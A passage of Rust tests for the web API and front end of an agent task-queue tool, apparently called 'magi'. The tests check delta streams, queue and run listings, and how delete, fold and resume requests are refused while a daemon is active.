14041 home.to_owned(),
14042 PathBuf::from("/repo/magi"),
14043 ))
14044 }
14045
14046 #[tokio::test]
14047 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
14048 let home = TempDir::new().unwrap();
14049 let ui = delta_test_ui(home.path());
14050 let mut task = Task::new(
14051 "stream task".into(),
14052 "text".into(),
14053 PathBuf::from("/repo"),
14054 Source::Human,
14055 );
14056 ui.queue.put(&mut task).unwrap();
14057 let response = events(State(ui.clone())).await.into_response();
14058 let mut stream = response.into_body().into_data_stream();
14059 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
14060 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
14061 .await
14062 .unwrap()
14063 .unwrap()
14064 .unwrap();
14065 let text = String::from_utf8(chunk.to_vec()).unwrap();
14066 let data = text
14067 .lines()
14068 .find_map(|line| {
14069 line.strip_prefix("data: ")
14070 .or_else(|| line.strip_prefix("data:"))
14071 })
14072 .unwrap();
14073 serde_json::from_str(data).unwrap()
14074 }
14075 let initial = change(&mut stream).await;
14076 assert!(initial.get("queue_delta").is_none());
14077 task.instruction.push_str(" changed");
14078 ui.queue.put(&mut task).unwrap();
14079 let updated = change(&mut stream).await;
14080 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
14081 assert_eq!(
14082 updated["queue_delta"]["changed"],
14083 serde_json::json!([task.id])
14084 );
14085 assert_eq!(
14086 updated["queue_rev"].as_u64(),
14087 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
14088 );
14089 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
14090 let removed = change(&mut stream).await;
14091 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
14092 assert_eq!(
14093 removed["queue_delta"]["removed"],
14094 serde_json::json!([task.id])
14095 );
14096 }
14097
14098 #[tokio::test]
14099 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
14100 let home = TempDir::new().unwrap();
14101 let ui = delta_test_ui(home.path());
14102 let queue = ui.queue.clone();
14103 let query = |ids: Option<&str>| {
14104 Query(ListQuery {
14105 limit: Some(2),
14106 ids: ids.map(str::to_owned),
14107 })
14108 };
14109 let mut root = Task::new(
14110 "root".into(),
14111 "instruction".into(),
14112 PathBuf::from("/repo"),
14113 Source::Human,
14114 );
14115 queue.put(&mut root).unwrap();
14116 let mut blocked = Task::new(
14117 "blocked".into(),
14118 "instruction".into(),
14119 PathBuf::from("/repo"),
14120 Source::Human,
14121 );
14122 blocked.block(vec![root.id.clone()], None);
14123 queue.put(&mut blocked).unwrap();
14124 let whole =
14125 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
14126 .unwrap();
14127 let subset = serde_json::to_value(
14128 queue_list(State(ui.clone()), query(Some(&root.id)))
14129 .await
14130 .unwrap()
14131 .0,
14132 )
14133 .unwrap();
14134 assert_eq!(whole, subset, "requested root plus its blocked dependent");
14135 let blockers = serde_json::to_value(
14136 queue_list(State(ui.clone()), query(Some("")))
14137 .await
14138 .unwrap()
14139 .0,
14140 )
14141 .unwrap();
14142 assert_eq!(blockers.as_array().unwrap().len(), 1);
14143 assert_eq!(blockers[0]["id"], blocked.id);
14144 assert_eq!(
14145 blockers[0]["waits_on"],
14146 whole
14147 .as_array()
14148 .unwrap()
14149 .iter()
14150 .find(|row| row["id"] == blocked.id)
14151 .unwrap()["waits_on"]
14152 );
14153
14154 for id in [
14155 "20260902-140501-aaaa",
14156 "20260902-140502-bbbb",
14157 "20260902-140503-cccc",
14158 ] {
14159 write_run(&ui.runs, id, RunStatus::Merged);
14160 }
14161 let old = serde_json::to_value(
14162 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
14163 .await
14164 .unwrap()
14165 .0,
14166 )
14167 .unwrap();
14168 assert!(
14169 old.as_array().unwrap().is_empty(),
14170 "older updates must not enter the window"
14171 );
14172 let newest = serde_json::to_value(
14173 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
14174 .await
14175 .unwrap()
14176 .0,
14177 )
14178 .unwrap();
14179 assert_eq!(newest.as_array().unwrap().len(), 1);
14180 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
14181
14182 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
14183 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
14184 let talks = serde_json::to_value(
14185 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
14186 .await
14187 .unwrap()
14188 .0,
14189 )
14190 .unwrap();
14191 assert_eq!(talks.as_array().unwrap().len(), 1);
14192 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
14193 assert_eq!(
14194 serde_json::to_value(
14195 talks_list(State(ui.clone()), query(Some("")))
14196 .await
14197 .unwrap()
14198 .0
14199 )
14200 .unwrap(),
14201 serde_json::json!([])
14202 );
14203 }
14204
14205 #[tokio::test]
14206 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
14207 async fn delta_payload_benchmark() {
14208 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
14209 let ui = delta_test_ui(&home);
14210 let query = |ids: Option<String>| {
14211 Query(ListQuery {
14212 limit: Some(50),
14213 ids,
14214 })
14215 };
14216 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
14217 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
14218 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
14219 let queue_id = queue
14220 .iter()
14221 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
14222 .unwrap_or(&queue[0])
14223 .task
14224 .id
14225 .clone();
14226 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
14227 .await
14228 .unwrap()
14229 .0;
14230 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
14231 .await
14232 .unwrap()
14233 .0;
14234 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
14235 .await
14236 .unwrap()
14237 .0;
14238 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
14239 eprintln!(
14240 "DELTA_PAYLOAD {}",
14241 serde_json::json!({
14242 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
14243 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
14244 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
14245 "counts": [queue.len(), runs.len(), talks.len()],
14246 "blocked": queue_delta.len() - 1,
14247 })
14248 );
14249 }
14250
14251 #[test]
14252 fn runs_revision_moves_when_deleting_an_older_run() {
14253 let temp = TempDir::new().expect("tempdir");
14254 let runs = temp.path().join("runs");
14255 std::fs::create_dir_all(&runs).expect("create runs dir");
14256
14257 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
14258
14259 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
14260 std::thread::sleep(Duration::from_millis(10));
14261 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
14262
14263 let rev_before = runs_revision(&runs);
14264 assert!(rev_before > 0);
14265
14266 let old_dir = runs.join("20260901-100000-old1");
14267 std::fs::remove_dir_all(&old_dir).expect("remove old run");
14268
14269 let rev_after = runs_revision(&runs);
14270 assert_ne!(
14271 rev_before, rev_after,
14272 "deleting an older run must change the revision so other clients see the deletion"
14273 );
14274 }
14275
14276 fn write_state(runs: &FsPath, state: &RunState) {
14281 let dir = runs.join(&state.id);
14282 std::fs::create_dir_all(&dir).expect("run dir");
14283 std::fs::write(
14284 dir.join("run.json"),
14285 serde_json::to_string_pretty(state).expect("serialize run"),
14286 )
14287 .expect("write run.json");
14288 }
14289
14290 #[test]
14295 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
14296 let temp = TempDir::new().expect("tempdir");
14297 let runs = temp.path().join("runs");
14298 std::fs::create_dir_all(&runs).expect("create runs dir");
14299 let mut state = RunState::new(
14300 PathBuf::from("/repo/magi"),
14301 "main".to_owned(),
14302 "0123456789abcdef".to_owned(),
14303 "task".to_owned(),
14304 Config::default(),
14305 );
14306 state.id = "20260902-100000-c0de".to_owned();
14307 write_state(&runs, &state);
14308
14309 let rev_idle = runs_revision(&runs);
14310 std::thread::sleep(Duration::from_millis(10));
14311 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
14312 write_state(&runs, &state);
14313 let rev_started = runs_revision(&runs);
14314 assert_ne!(
14315 rev_idle, rev_started,
14316 "a seat starting must move the revision"
14317 );
14318
14319 std::thread::sleep(Duration::from_millis(10));
14320 state.seat_finished("judge-1");
14321 write_state(&runs, &state);
14322 let rev_finished = runs_revision(&runs);
14323 assert_ne!(
14324 rev_started, rev_finished,
14325 "and clearing it again must move the revision a second time"
14326 );
14327 }
14328
14329 #[tokio::test]
14330 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
14331 let fx = Fixture::start().await;
14336 let q = fx.queue();
14337
14338 let mut t = Task::new(
14339 "Task".to_owned(),
14340 "Instruction".to_owned(),
14341 PathBuf::from("/repo"),
14342 Source::Human,
14343 );
14344 t.block(
14345 vec!["20260101-000000-dead".to_owned()],
14346 Some("waiting on Task 1".to_owned()),
14347 );
14348 t.answers.push(crate::queue::AnsweredQuestion {
14349 question: "Which backend?".to_owned(),
14350 answer: "SQLite".to_owned(),
14351 });
14352 q.put(&mut t).expect("put t");
14353
14354 let res = fx.get("/api/queue").await;
14355 assert_eq!(res.status, 200);
14356 let list = res.json();
14357 let view = list
14358 .as_array()
14359 .expect("array")
14360 .iter()
14361 .find(|v| v["id"] == t.id)
14362 .expect("task in list");
14363 assert_eq!(view["status_str"], "blocked");
14364 assert_eq!(
14365 view["blocked_by"],
14366 serde_json::json!(["20260101-000000-dead"])
14367 );
14368 assert_eq!(view["block_reason"], "waiting on Task 1");
14369 assert_eq!(view["answers"][0]["question"], "Which backend?");
14370 assert_eq!(view["answers"][0]["answer"], "SQLite");
14371
14372 let res = fx
14376 .post(&format!("/api/queue/{}/hold", t.short()), None)
14377 .await;
14378 assert_eq!(res.status, 200);
14379 let held = res.json();
14380 assert_eq!(held["status_str"], "held");
14381 assert_eq!(held["blocked_by"], serde_json::json!([]));
14382 assert!(held["block_reason"].is_null());
14383 assert_eq!(held["answers"][0]["answer"], "SQLite");
14384 }
14385
14386 #[tokio::test]
14387 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
14388 let fx = Fixture::start().await;
14389 let q = fx.queue();
14390 let mk = |title: &str| {
14391 Task::new(
14392 title.to_owned(),
14393 "Instruction".to_owned(),
14394 PathBuf::from("/repo"),
14395 Source::Human,
14396 )
14397 };
14398 let mut root = mk("root");
14399 root.hold_manual(Some("waiting".to_owned()));
14400 q.put(&mut root).unwrap();
14401 let mut mid = mk("mid");
14402 mid.block(vec![root.id.clone()], None);
14403 q.put(&mut mid).unwrap();
14404 let mut leaf = mk("leaf");
14405 leaf.block(vec![mid.id.clone()], None);
14406 q.put(&mut leaf).unwrap();
14407
14408 let list = fx.get("/api/queue").await.json();
14409 let find = |id: &str| {
14410 list.as_array()
14411 .unwrap()
14412 .iter()
14413 .find(|v| v["id"] == id)
14414 .unwrap()
14415 .clone()
14416 };
14417 let leaf_view = find(&leaf.id);
14418 assert_eq!(
14419 leaf_view["waits_on"],
14420 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
14421 );
14422 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
14423 assert_eq!(
14424 find(&mid.id)["waits_on"],
14425 serde_json::json!([format!("{} (held)", root.short())])
14426 );
14427 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
14428 }
14429
14430 #[tokio::test]
14431 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
14432 let fx = Fixture::start().await;
14433 let q = fx.queue();
14434
14435 let mut t1 = Task::new(
14437 "Task 1".to_owned(),
14438 "Instruction 1".to_owned(),
14439 PathBuf::from("/repo"),
14440 Source::Human,
14441 );
14442 let run_id = "20260901-000000-r111";
14443 t1.runs.push(run_id.to_owned());
14444 write_run(&fx.runs(), run_id, RunStatus::Merged);
14445 q.put(&mut t1).expect("put t1");
14446
14447 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
14449 assert_eq!(res.status, 204);
14450 assert!(res.body.is_empty(), "204 No Content has no body");
14451 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
14452 assert!(
14453 fx.runs().join(run_id).exists(),
14454 "run directory must not be deleted when its task is deleted"
14455 );
14456
14457 let mut t2 = Task::new(
14459 "Task 2".to_owned(),
14460 "Instruction 2".to_owned(),
14461 PathBuf::from("/repo"),
14462 Source::Human,
14463 );
14464 t2.status = TaskStatus::Running;
14465 q.put(&mut t2).expect("put t2");
14466 let mut beat = crate::daemon::Status::new();
14467 beat.current = vec![crate::daemon::Current {
14468 task: t2.id.clone(),
14469 run: "20260901-000000-r222".to_owned(),
14470 }];
14471 beat.updated_at = jiff::Timestamp::now();
14472 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14473 .expect("publish a heartbeat");
14474 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
14475 assert_eq!(res.status, 409);
14476 assert!(
14477 res.json()["error"]
14478 .as_str()
14479 .unwrap()
14480 .contains("live daemon")
14481 );
14482 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
14483
14484 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
14490 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14491 .expect("leave a stale heartbeat");
14492 let mut t3 = Task::new(
14493 "Task 3".to_owned(),
14494 "Instruction 3".to_owned(),
14495 PathBuf::from("/repo"),
14496 Source::Human,
14497 );
14498 t3.status = TaskStatus::Running;
14499 q.put(&mut t3).expect("put t3");
14500 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
14501 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
14502 assert_eq!(res.status, 204);
14503 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
14504 assert!(
14505 q.claim(&t3.id).is_ok(),
14506 "the stale lock went with it, so the id is claimable again"
14507 );
14508
14509 let res = fx.delete("/api/queue/nonexistent").await;
14511 assert_eq!(res.status, 404);
14512 }
14513
14514 #[tokio::test]
14515 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
14516 let fx = Fixture::start().await;
14517 let runs = fx.runs();
14518
14519 let run_id = "20260901-000000-fold";
14521 let mut state = RunState::new(
14522 PathBuf::from("/repo"),
14523 "main".to_owned(),
14524 "abc".to_owned(),
14525 "instruction".to_owned(),
14526 Config::default(),
14527 );
14528 state.id = run_id.to_owned();
14529 state.status = RunStatus::Merged;
14530 state.candidates.push(crate::run::Candidate {
14531 index: 0,
14532 label: 'A',
14533 agent: "a".to_owned(),
14534 branch: "b".to_owned(),
14535 worktree: PathBuf::from("/w"),
14536 summary: String::new(),
14537 stat: String::new(),
14538 files: 1,
14539 commits: 1,
14540 empty: false,
14541 failed: None,
14542 verified_noop: None,
14543 duration_ms: 0,
14544 folded: true,
14545 });
14546 let dir = runs.join(run_id);
14547 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
14548 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
14549 .expect("write artifact");
14550 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
14551 .expect("write run.json");
14552
14553 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
14555 assert_eq!(res.status, 204);
14556 assert!(res.body.is_empty(), "204 has no body");
14557 assert!(!dir.exists(), "run directory and artifacts must be deleted");
14558
14559 let run_running = "20260901-000000-rung";
14564 write_run(&runs, run_running, RunStatus::Prep);
14565 let mut beat = crate::daemon::Status::new();
14566 beat.current = vec![crate::daemon::Current {
14567 task: "20260901-000000-task".to_owned(),
14568 run: run_running.to_owned(),
14569 }];
14570 beat.updated_at = jiff::Timestamp::now();
14571 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14572 .expect("publish a heartbeat");
14573 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
14574 assert_eq!(res.status, 409);
14575 assert!(
14576 res.json()["error"]
14577 .as_str()
14578 .unwrap()
14579 .contains("live daemon"),
14580 "the refusal must say who is holding it"
14581 );
14582 assert!(
14583 runs.join(run_running).exists(),
14584 "a run in flight keeps its directory"
14585 );
14586
14587 let run_unfolded = "20260901-000000-unfd";
14589 let mut state2 = RunState::new(
14590 PathBuf::from("/repo"),
14591 "main".to_owned(),
14592 "abc".to_owned(),
14593 "instruction".to_owned(),
14594 Config::default(),
14595 );
14596 state2.id = run_unfolded.to_owned();
14597 state2.status = RunStatus::Ready;
14598 state2.candidates.push(crate::run::Candidate {
14599 index: 0,
14600 label: 'A',
14601 agent: "a".to_owned(),
14602 branch: "b".to_owned(),
14603 worktree: PathBuf::from("/w"),
14604 summary: String::new(),
14605 stat: String::new(),
14606 files: 1,
14607 commits: 1,
14608 empty: false,
14609 failed: None,
14610 verified_noop: None,
14611 duration_ms: 0,
14612 folded: false,
14613 });
14614 let dir2 = runs.join(run_unfolded);
14615 std::fs::create_dir_all(&dir2).expect("create dir2");
14616 std::fs::write(
14617 dir2.join("run.json"),
14618 serde_json::to_string(&state2).unwrap(),
14619 )
14620 .expect("write run.json");
14621
14622 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
14623 assert_eq!(res.status, 409);
14624 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
14625 assert!(dir2.exists(), "unfolded run directory is kept");
14626
14627 let res = fx.delete("/api/runs/nonexistent").await;
14629 assert_eq!(res.status, 404);
14630 }
14631
14632 #[test]
14641 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
14642 let start = APP_JS
14643 .find("function renderStats() {")
14644 .expect("renderStats");
14645 let end = start
14646 + APP_JS[start..]
14647 .find("function statsTile(")
14648 .expect("the next top-level function");
14649 let body = &APP_JS[start..end];
14650
14651 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
14652 let gate_end = gate_start
14653 + body[gate_start..]
14654 .find("}\n renderStatsQueue")
14655 .expect("the gate's own closing brace, right before the unconditional call");
14656 let gated = &body[gate_start..gate_end];
14657
14658 assert_eq!(
14659 body.matches("renderStatsQueue(").count(),
14660 1,
14661 "renderStats must call renderStatsQueue exactly once: {body}"
14662 );
14663 assert!(
14664 !gated.contains("renderStatsQueue"),
14665 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
14666 run-derived panels on an empty run history - the queue panel has to render \
14667 regardless: {gated}"
14668 );
14669 }
14670
14671 #[test]
14672 fn web_ui_delete_contract_in_front_end() {
14673 assert!(APP_JS.contains("deleteRun:"));
14675 assert!(APP_JS.contains("deleteTask:"));
14676
14677 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
14679 ..APP_JS.find("function renderRuns").unwrap()];
14680 assert!(!run_cards_slice.to_lowercase().contains("delete"));
14681
14682 assert!(APP_JS.contains("renderRunDelete"));
14684 assert!(APP_JS.contains("runDeleteReason"));
14685 assert!(APP_JS.contains("magi fold"));
14686 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
14687
14688 assert!(APP_JS.contains("cancel.focus"));
14690 assert!(APP_JS.contains("armedRunDelete"));
14691 assert!(APP_JS.contains("renderTaskDeleteBox"));
14692 assert!(APP_JS.contains("armed${cap(key)}"));
14693
14694 assert!(APP_JS.contains("disabled: status === \"running\""));
14696 }
14697
14698 #[test]
14718 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
14719 let build = APP_JS
14720 .find("function createRunCard")
14721 .expect("createRunCard exists");
14722 let update = APP_JS
14723 .find("function updateRunCard")
14724 .expect("updateRunCard exists");
14725 let end = APP_JS
14726 .find("function renderRuns")
14727 .expect("renderRuns exists");
14728
14729 let builder = &APP_JS[build..update];
14731 let open = builder.find("refs = {").expect("createRunCard sets refs");
14732 let literal = &builder[open + "refs = {".len()..];
14733 let close = literal.find('}').expect("the refs literal is closed");
14734 let published: HashSet<&str> = literal[..close]
14735 .split(',')
14736 .filter_map(|entry| entry.split(':').next())
14738 .map(str::trim)
14739 .filter(|name| !name.is_empty())
14740 .collect();
14741 assert!(
14742 published.len() > 5,
14743 "the refs literal did not parse into names: {published:?}"
14744 );
14745
14746 let mut used: Vec<&str> = Vec::new();
14749 let updaters = &APP_JS[update..end];
14750 for (at, _) in updaters.match_indices("r.") {
14751 let before = updaters[..at].chars().next_back();
14754 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
14755 continue;
14756 }
14757 let rest = &updaters[at + 2..];
14758 let len = rest
14759 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
14760 .unwrap_or(rest.len());
14761 if len > 0 {
14762 used.push(&rest[..len]);
14763 }
14764 }
14765 assert!(
14766 used.len() > 5,
14767 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
14768 );
14769
14770 let missing: Vec<&str> = used
14771 .iter()
14772 .copied()
14773 .filter(|name| !published.contains(name))
14774 .collect();
14775 assert!(
14776 missing.is_empty(),
14777 "a run card's updater reaches for {missing:?}, which `createRunCard` \
14778 never put in `refs` - every card will throw and the list will \
14779 render empty under a count line that says otherwise. Published: \
14780 {published:?}"
14781 );
14782 }
14783
14784 #[tokio::test]
14785 async fn folding_from_the_phone_reports_what_it_removed() {
14786 let fx = Fixture::start().await;
14787 let runs = fx.runs();
14788
14789 let id = "20260901-000000-fold";
14793 write_run(&runs, id, RunStatus::Stalled);
14794 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14795 assert_eq!(res.status, 200);
14796 assert_eq!(res.json()["removed_count"], 0);
14797 assert_eq!(res.json()["run"], id);
14798 assert!(
14799 runs.join(id).exists(),
14800 "a fold keeps the run's record; only the worktrees go"
14801 );
14802 }
14803
14804 #[tokio::test]
14805 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
14806 let fx = Fixture::start().await;
14807 let runs = fx.runs();
14808 let wt = fx.home.path().join("wt").join("magi").join("dead");
14809 let id = "20260901-000000-dead";
14810 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14811 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14812 std::fs::create_dir_all(&wt).expect("worktree dir");
14813
14814 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14815 assert_eq!(res.status, 200, "{}", res.body);
14816 assert!(
14817 res.json()["removed_count"].as_u64().unwrap() > 0,
14818 "the worktree this build could not read a state for still went"
14819 );
14820 assert!(
14821 !runs.join(id).exists(),
14822 "an unreadable run has no candidate list to fold selectively, so \
14823 the whole record goes - same as `magi fold` on the CLI"
14824 );
14825 }
14826
14827 #[tokio::test]
14828 async fn deleting_an_unreadable_run_removes_it_wholesale() {
14829 let fx = Fixture::start().await;
14830 let runs = fx.runs();
14831 let wt = fx.home.path().join("wt").join("magi").join("gone");
14832 let id = "20260901-000000-gone";
14833 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14834 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14835 std::fs::create_dir_all(&wt).expect("worktree dir");
14836
14837 let res = fx.delete(&format!("/api/runs/{id}")).await;
14838 assert_eq!(res.status, 204, "{}", res.body);
14839 assert!(!runs.join(id).exists(), "the broken record is gone");
14840 assert!(!wt.exists(), "its worktree is gone too");
14841 }
14842
14843 #[tokio::test]
14844 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14845 let fx = Fixture::start().await;
14846 let runs = fx.runs();
14847 let id = "20260901-000000-live";
14848 write_run(&runs, id, RunStatus::Implementing);
14849
14850 let mut beat = crate::daemon::Status::new();
14851 beat.current = vec![crate::daemon::Current {
14852 task: "20260901-000000-task".to_owned(),
14853 run: id.to_owned(),
14854 }];
14855 beat.updated_at = jiff::Timestamp::now();
14856 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14857 .expect("publish a heartbeat");
14858
14859 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14860 assert_eq!(res.status, 409);
14861 assert!(
14862 res.json()["error"]
14863 .as_str()
14864 .unwrap()
14865 .contains("live daemon"),
14866 "folding under a running agent would pull its worktree away"
14867 );
14868 }
14869
14870 #[tokio::test]
14871 async fn fold_merged_requires_a_pr_url() {
14872 let fx = Fixture::start().await;
14873 let runs = fx.runs();
14874 let id = "20260901-000000-nourl";
14875 write_run(&runs, id, RunStatus::Blocked);
14876
14877 let res = fx
14878 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14879 .await;
14880 assert_eq!(res.status, 400, "{}", res.body);
14881
14882 let blank = fx
14883 .post(
14884 &format!("/api/runs/{id}/fold-merged"),
14885 Some(r#"{"pr_url":" "}"#),
14886 )
14887 .await;
14888 assert_eq!(blank.status, 400, "{}", blank.body);
14889 }
14890
14891 #[tokio::test]
14892 async fn fold_merged_is_404_for_an_unknown_run() {
14893 let fx = Fixture::start().await;
14894 let res = fx
14895 .post(
14896 "/api/runs/nosuchrun/fold-merged",
14897 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14898 )
14899 .await;
14900 assert_eq!(res.status, 404, "{}", res.body);
14901 }
14902
14903 #[tokio::test]
14904 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14905 let fx = Fixture::start().await;
14906 let runs = fx.runs();
14907 let id = "20260901-000000-livemerge";
14908 write_run(&runs, id, RunStatus::Blocked);
14909
14910 let mut beat = crate::daemon::Status::new();
14911 beat.current = vec![crate::daemon::Current {
14912 task: "20260901-000000-task".to_owned(),
14913 run: id.to_owned(),
14914 }];
14915 beat.updated_at = jiff::Timestamp::now();
14916 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14917 .expect("publish a heartbeat");
14918
14919 let res = fx
14920 .post(
14921 &format!("/api/runs/{id}/fold-merged"),
14922 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14923 )
14924 .await;
14925 assert_eq!(res.status, 409, "{}", res.body);
14926 assert!(
14927 res.json()["error"]
14928 .as_str()
14929 .unwrap()
14930 .contains("live daemon"),
14931 "correcting a run's merge underneath a running agent would race \
14932 whatever it is doing to the same `status`/`merge` fields"
14933 );
14934 }
14935
14936 #[tokio::test]
14941 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14942 let fx = Fixture::start().await;
14943 let runs = fx.runs();
14944 let id = "20260901-000000-unconfirmed";
14945 write_run(&runs, id, RunStatus::Blocked);
14946
14947 let res = fx
14948 .post(
14949 &format!("/api/runs/{id}/fold-merged"),
14950 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14951 )
14952 .await;
14953 assert_eq!(res.status, 400, "{}", res.body);
14954 assert_eq!(
14955 read_run(&runs, id).unwrap().status,
14956 RunStatus::Blocked,
14957 "a pull request that could not be confirmed merged must leave \
14958 the run exactly where it was"
14959 );
14960 }
14961
14962 #[tokio::test]
14963 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14964 let fx = Fixture::start().await;
14965 let runs = fx.runs();
14966
14967 for (status, word) in [
14973 (RunStatus::Merged, "merged"),
14974 (RunStatus::Ready, "ready"),
14975 (RunStatus::Failed, "failed"),
14976 ] {
14977 let id = format!("20260901-000000-{}", &word[..4]);
14978 write_run(&runs, &id, status);
14979 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14980 assert_eq!(res.status, 409, "{word} must not be resumable");
14981 let err = res.json()["error"].as_str().unwrap().to_owned();
14982 assert!(err.contains(word), "the refusal names the status: {err}");
14983 }
14984
14985 let mid = "20260901-000000-midf";
14990 write_run(&runs, mid, RunStatus::Reviewing);
14991 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14992 assert_eq!(res.status, 202, "an interrupted run is resumable");
14993 }
14994
14995 #[tokio::test]
14996 async fn resume_is_refused_while_the_loop_is_running() {
14997 let fx = Fixture::start().await;
14998 let runs = fx.runs();
14999 let stalled = "20260901-000000-stal";
15000 write_run(&runs, stalled, RunStatus::Stalled);
15001
15002 let mut beat = crate::daemon::Status::new();
15006 beat.current = vec![crate::daemon::Current {
15007 task: "20260901-000000-task".to_owned(),
15008 run: "20260901-000000-othr".to_owned(),
15009 }];
15010 beat.updated_at = jiff::Timestamp::now();
15011 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15012 .expect("publish a heartbeat");
15013
15014 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
15015 assert_eq!(res.status, 409);
15016 let err = res.json()["error"].as_str().unwrap().to_owned();
15017 assert!(err.contains("othr"), "it names what the loop is on: {err}");
15018 assert!(err.contains("stop it first"), "{err}");
15019 }
15020
15021 #[test]
15022 fn a_run_cannot_be_resumed_twice_at_once() {
15023 let home = TempDir::new().expect("temp home");
15024 let ui = Ui::new(
15025 Queue::at(home.path().join("queue")),
15026 Questions::at(home.path().join("questions")),
15027 Talks::at(home.path().join("talks")),
15028 home.path().join("runs"),
15029 home.path().to_path_buf(),
15030 PathBuf::from("/repo"),
15031 )
15032 .with_worktrees_root(home.path().join("wt"));
15033 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
15034 let again = ui.begin_resume("20260901-000000-once");
15035 assert!(again.is_err(), "a second tap must not start a second graph");
15036 drop(first);
15037 assert!(
15038 ui.begin_resume("20260901-000000-once").is_ok(),
15039 "and the claim is released when the attempt ends"
15040 );
15041 }
15042
15043 #[test]
15044 fn talk_thinking_tracks_only_its_held_turn_claim() {
15045 let home = TempDir::new().expect("temp home");
